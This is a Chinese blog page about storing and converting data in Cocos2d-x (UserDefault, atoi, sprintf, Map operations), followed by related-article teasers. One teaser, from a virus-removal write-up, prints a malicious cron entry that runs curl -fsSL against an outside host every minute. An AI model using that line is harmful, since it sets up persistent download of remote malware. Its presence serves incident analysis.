1.获得存储在UserDefault中的变量,但是获得的变量是一个String类型的值,要用atoi函数转换为整型,但是atoi函数的传递参数是一个char*类型的值,所以用_Score.c_str()把String转化为Char*

auto userdefault = UserDefault::getInstance();
auto _Score = userdefault->getStringForKey("RewardScore");
_rewardScore = atoi(_Score.c_str());
_rewardScore = _rewardScore + 10;

2.把数据存储在UserDefault中,但是必须先把整型的_rewardScore转化为字符型的变量,用到sprintf函数,转化后就可以存储了

char score_str[100] = { 0 };
sprintf(score_str, "%d", _rewardScore);
userdefault->setStringForKey("RewardScore", score_str);

3.存储在map类型的数据的一系列操作

// 测试代码开始
//Map<std::string, Node*> map1;
// empty函数返回Map容器是否为空
//log("%s", map1.empty() ? "map1容器为空!" : "map1容器不为空!");
// size函数返回Map容器中元素的数量
//log("map1.size: %i", (int)map1.size());
//log("bucket_count = %d", static_cast<int>(map1.bucketCount()));
//for (int i = 1; i <= 10; i++)
//{
// auto node = Node::create();
// node->setTag(i);
// // insert函数向容器中插入新元素
// map1.insert(StringUtils::toString(i), node);
//}
//log("循环给map1容器insertNode之后:");
//log("%s", map1.empty() ? "map1容器为空!" : "map1容器不为空!");
//log("map1.size: %i", (int)map1.size());
//log("----- Map容器中所有key ---------");
//// keys函数获得Map容器的所有键,遍历打印结果并不是插入顺序显示,因为Map是无序的
//auto keys = map1.keys();
//for (const auto& key : keys)
//{
// log("key = %s", key.c_str());
//}
//// getRandomObject函数获得随机的对象
//log("getRandomObject: %i", map1.getRandomObject()->getTag());
//log("------ 根据值查找key --------");
//// at函数根据键查找返回值
//auto node10Key = map1.at("10");
//map1.insert("100", node10Key);
//map1.insert("101", node10Key);
//map1.insert("102", node10Key);
//// 返回参数V在Map中匹配的所有键的集合
//auto keysForObject = map1.keys(node10Key);
//for (const auto& key : keysForObject)
//{
// log("key = %s", key.c_str());
//}
//// find函数根据key查找返回对应的迭代器,迭代器中包含了键和值
//auto nodeToFind = map1.find("100");
//log("first: %s", nodeToFind->first.c_str());
//log("second: %i", nodeToFind->second->getTag());
//// erase函数删除容器中的元素
//log("------ erase之后 --------");
//// 根据key删除
//map1.erase("1");
//// 根据迭代器删除
//map1.erase(map1.find("2"));
//// 根据键集合删除
//std::vector<std::string> itemsToRemove;
//itemsToRemove.push_back("3");
//itemsToRemove.push_back("4");
//itemsToRemove.push_back("5");
//map1.erase(itemsToRemove);
//for (const auto& key : map1.keys())
//{
// log("key = %s", key.c_str());
//}
//// clear函数清空容器
//map1.clear();
//log("------ clear之后 --------");
//log("%s", map1.empty() ? "map1容器为空!" : "map1容器不为空!");
//// size函数返回Map容器中元素的数量
//log("map1.size: %i", (int)map1.size());

关于Cocos2d-x中数据的存储提取和类型转换的更多相关文章

  1. Android笔记——Android中数据的存储方式(二)

    我们在实际开发中,有的时候需要储存或者备份比较复杂的数据.这些数据的特点是,内容多.结构大,比如短信备份等.我们知道SharedPreferences和Files(文本文件)储存这种数据会非常的没有效 ...

  2. Android笔记——Android中数据的存储方式(一)

    Android中数据的存储方式 对于开发平台来讲,如果对数据的存储有良好的支持,那么对应用程序的开发将会有很大的促进作用. 总体的来讲,数据存储方式有三种:一个是文件,一个是数据库,另一个则是网络.其 ...

  3. Matlab中数据的存储方式

    简介 MATLAB提供了丰富的算法以及一个易于操作的语言,给算法研发工作者提供了很多便利.然而MATLAB在执行某些任务的时候,执行效率偏低,测试较大任务量时可能会引起较长时间的等待.未解决这个问题, ...

  4. Android笔记——Android中数据的存储方式(三)

    Android系统集成了一个轻量级的数据库:SQLite,所以Android对数据库的支持很好,每个应用都可以方便的使用它.SQLite作为一个嵌入式的数据库引擎,专门适用于资源有限的设备上适量数据存 ...

  5. 【Cocos2d-X开发学习笔记】第29期:游戏中数据的存储(上)

    本系列学习教程使用的是cocos2d-x-2.1.4(最新版为3.0alpha0-pre) ,PC开发环境Windows7,C++开发环境VS2010 一般游戏中都需要记录玩家数据,便于玩家下次登录时 ...

  6. 【Cocos2d-X开发学习笔记】第30期:游戏中数据的存储(下)

    本系列学习教程使用的是cocos2d-x-2.1.4(最新版为3.0alpha0-pre) ,PC开发环境Windows7,C++开发环境VS2010 一.对数据进行编解码 在上一期中,我们使用了CC ...

  7. C/C++中数据的存储

    学java时了解到不同的数据在系统中存储的位置不一样,有的存在栈里,有的存在堆里.学C/C++时没注意过这个,最近学数据结构时遇到了问题:在定义一个结构体的指针时,系统如何给它分配的空间?从而让我想去 ...

  8. Unity中数据的存储与交互的初步分析(PlayerPrefs,Dictionary,JsonUnility)

    1.PlayerPrefs   PlayerPrefs.SetString(key,Value);  PlayerPrefs.GetString(key,Value);字符串类型 PlayerPref ...

  9. 关于Cocos2d-x中数据的存储

    当局分数的打印和最高分数的记录 1.首先定义一个Label类型的节点在GameScene.cpp的init方法中,设置初始分数为0 _myScore = 0; scorelabel = Label:: ...

随机推荐

  1. HR面 - 十大经典提问

    1.HR:你希望通过这份工作获得什么? 1).自杀式回答:我希望自己为之工作的企业能够重视质量,而且会给做得好的员工予以奖励.我希望通过这份工作锻炼自己,提升自己的能力,能让公司更加重视我. a.“我 ...

  2. repcached配置与简单測试

    安装libevent-devel watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGFueXVlcWk=/font/5a6L5L2T/fontsize/40 ...

  3. map+pair Bayan 2015 Contest Warm Up D题

    D. CGCDSSQ time limit per test 2 seconds memory limit per test 256 megabytes input standard input ou ...

  4. Python2 cmp() 函数

    描述 cmp(x,y) 函数用于比较2个对象,如果 x < y 返回 -1, 如果 x == y 返回 0, 如果 x > y 返回 1. 语法 以下是 cmp() 方法的语法: cmp( ...

  5. C#实现相似QQ的隐藏浮动窗口、消息闪动

    功能简单介绍 当语音客服系统登录成功进入主界面时,本聊天工具将会自己主动隐藏在左下角位置,当鼠标移动到左下角时,自己主动弹出,当鼠标移开聊天窗口时,自己主动隐藏.假设想让聊天窗口固定在桌面.仅仅要拖动 ...

  6. [Jobdu] 题目1369:字符串的排列

    题目描述: 输入一个字符串,按字典序打印出该字符串中字符的所有排列.例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba. 输入: 每个 ...

  7. 跟我一起学习VIM - vim插件合集

    2016-06-14 15:04 13333人阅读 评论(0) 收藏 举报 分类: Linux(104)  目录(?)[+]  前两天同事让我在小组内部分享一下VIM,于是我花了一点时间写了个简短的教 ...

  8. WPF控件TreeView使用

    需要多级嵌套要用TreeViewItem,而这个在大纲视图右键控件可以点出来. 代码控制嵌套Items就可以. 如果显示"(集合)",检查嵌套的是不是TreeViewItem的It ...

  9. haproxy-1.6.11 make 报错

    # make TARGET=linux26 USE_OPENSSL= ADDLIB=-lz gcc -Iinclude -Iebtree -Wall -O2 -g -fno-strict-aliasi ...

  10. 查杀病毒实战----------------》ddg.223 and AnXQV

    htop 发现导常: 接着发现可疑进程: 首先检测crontab,发现问题: # crontab -l */ * * * * curl -fsSL http://www.bdyutiudwj.com/ ...